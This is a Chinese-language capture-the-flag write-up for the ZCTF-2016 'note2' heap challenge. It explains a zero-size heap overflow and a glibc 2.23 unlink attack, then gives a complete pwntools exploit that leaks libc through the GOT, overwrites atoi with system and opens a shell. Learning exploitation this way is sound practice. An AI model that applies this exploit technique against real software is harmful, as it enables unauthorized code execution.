ZCTF-2016-note2

题目地址

  • libc version: 2.23
  • checksec note2:
    ➜  ZCTF-2016-note2 checksec note2
    [*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/items/ZCTF-2016-note2/note2'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: No PIE (0x400000)

没有开 PIE, 因此段地址固定

分析

程序有以下功能:

  • New: 新建 note, size 最大为 0x80, note 最多能有4个
  • Show: 展示 note 内容
  • Edit: 编辑 note 内容, 可以覆盖已有 note, 也可以在已有 note 后面续写
  • Delte: 释放 note

而漏洞点如下

  1. 在 read_str 函数中读取的循环变量 i 是无符号变量, 那么当我们输入 size 为 0 时, glibc 根据其规定, 会分配 0x20 个字节, 但是程序读取的内容却并不受到限制, 故而会产生堆溢出。

      unsigned __int64 __fastcall read_str(char *s, __int64 len, char a3)
    {
    char end_chr; // [rsp+Ch] [rbp-34h]
    char buf; // [rsp+2Fh] [rbp-11h]
    unsigned __int64 i; // [rsp+30h] [rbp-10h]
    ssize_t v7; // [rsp+38h] [rbp-8h]

    end_chr = a3;
    for ( i = 0LL; len - 1 > i; ++i )
    {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
    exit(-1);
    if ( buf == end_chr )
    break;
    s[i] = buf;
    }
    s[i] = 0;
    return i;
    }
  2. 每次 edit 时, 都会申请 0xa0 大小的内存, 但是在 free 之后并没有把指针设置为 NULL, 存在 UAF 漏洞

思路

  1. 创建三个 chunk, 第二个 chunk 的大小设置为 0, 这样该 chunk 释放后就被归为 fast bin, 当我们再次申请 0 大小的 chunk 时, 该 chunk 就会被分配出去, 因为该 chunk 位于两个 chunk 之间, 此时就可以利用第一个漏洞, 对第三个 chunk 进行溢出, 修改其 chunk 头, 进行 free(chunk3) , 触发 unlink。

    创建三个chunk, chunk1 伪造 free_chunk 为 unlink 做准备

    ptr = 0x602120
    payload = b"a" * 8 + p64(0x61) + p64(ptr - 0x18) + p64(ptr - 0x10)
    payload = payload.ljust(0x60, b'b')

    new_note(0x80, payload) # 0
    new_note(0, 'b') # 1
    new_note(0x80, 'a') # 2

    此时堆结构:

    pwndbg> heap
    Allocated chunk | PREV_INUSE <== chunk1
    Addr: 0x603000
    Size: 0x91

    Allocated chunk | PREV_INUSE <== chunk2
    Addr: 0x603090
    Size: 0x21

    Allocated chunk | PREV_INUSE <== chunk3
    Addr: 0x6030b0
    Size: 0x91

    Top chunk | PREV_INUSE
    Addr: 0x603140
    Size: 0x20ec1

    此时释放 chunk2

    delete_note(1)

    回收至 fastbin 中

    pwndbg> fastbins
    fastbins
    0x20: 0x603090 ◂— 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0

    重新分配一个 size 为 0 的 chunk, 此时就会把 chunk2 分配回来, 这样就可以利用第一个漏洞覆盖 chunk3 的 size 域

    payload = b"b" * 16 + p64(0x80 + 0x20) + p64(0x90)
    new_note(0, payload)

    此时 chunk3 内容如下, 可以看到 prev_inused 位被置0, pre_size 位被置 0xa0, 即 chunk1_size + chunk2_size

    pwndbg> chunkinfo 0x6030b0
    ==================================
    Chunk info
    ==================================
    Status : Used
    Freeable : False -> p->size(0x60) != next->prevsize(0xa0)
    prev_size : 0xa0
    size : 0x90
    prev_inused : 0
    is_mmap : 0
    non_mainarea : 0

    此时 free chunk3 (delete_note(2)) 即触发 unlink

  2. 利用 unlink, 通过程序的 show note 功能获取 atoi 的地址, 进而算出 system 的地址, 然后修改 atoi@got 指针中的地址为 system 的地址, 获得 shell。

unlink 以后, 此时 note_list[0] (0x602120) 存放的是 0x602108

pwndbg> x/gx 0x602120
0x602120: 0x0000000000602108

此时修改 chunk1 即是 修改 note_list

payload = b"a" * 0x18 + p64(elf.got['atoi'])
edit_note(0, 1 , payload)

此时 node_list

pwndbg> x/gx 0x602120
0x602120: 0x0000000000602088
pwndbg> x/gx 0x0000000000602088
0x602088 <atoi@got.plt>: 0x00007ffff7a61080

这样show(0)展示的就是 atoi 的地址了, 就可以依此计算 system 的地址

show_note(0)

ru("Content is ")
atoi_address = u64(ru("\n", drop = True).ljust(8, b'\x00'))

libc.address = atoi_address - libc.symbols['atoi']
system_address = libc.symbols['system']

此时修改 edit chunk1 就是修改 atoi 的地址, 我们通过修改 atoi 为 systen 从而当我们传入 /bin/sh 就可以 getshell

payload = p64(system_address)
edit_note(0, 1, payload)

sla("option--->>", "/bin/sh")

EXP

from pwn import *

p = process(["./note2"], env={"LOAD_PRELOAD": './libc.so.6'})
elf = ELF("./note2")
libc = ELF("./libc.so.6")

# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-v']

rv = p.recv
ru = p.recvuntil
sl = p.sendline
sla = p.sendlineafter
sd = p.send
sda = p.sendafter


def dbg(break_point):
gdb.attach(p, "b " + break_point)


def new_note(size, content):
sla("option--->>", "1")
sla("Input the length of the note content:(less than 128)", str(size))
sla("Input the note content:", content)


def delete_note(id):
sla("option--->", "4")
sla("Input the id of the note:", str(id))

def show_note(id):
sla("option--->", "2")
sla("Input the id of the note:", str(id))

def edit_note(id, option, content):
sla("option--->", "3")
sla("Input the id of the note:", str(id))
sla("[1.overwrite/2.append]", str(option))
sla("TheNewContents:", content)


sla("Input your name:", "Lantern")
sla("Input your address:", "Lantern")

# dbg("*0x000000000400B0F")

ptr = 0x602120
payload = b"a" * 8 + p64(0x61) + p64(ptr - 0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x60, b'b')

new_note(0x80, payload) # 0
new_note(0, 'b') # 1
new_note(0x80, 'a') # 2

delete_note(1)

payload = b"b" * 16 + p64(0x80 + 0x20) + p64(0x90)

new_note(0, payload)

delete_note(2)

payload = b"a" * 0x18 + p64(elf.got['atoi'])
edit_note(0, 1 , payload)


show_note(0)

ru("Content is ")
atoi_address = u64(ru("\n", drop = True).ljust(8, b'\x00'))

log.success("atoi_address: " + hex(atoi_address))

libc.address = atoi_address - libc.symbols['atoi']
system_address = libc.symbols['system']

log.success("system_address: " + hex(system_address))
log.success("libc.address: " + hex(libc.address))

payload = p64(system_address)
edit_note(0, 1, payload)

sla("option--->>", "/bin/sh")

p.interactive()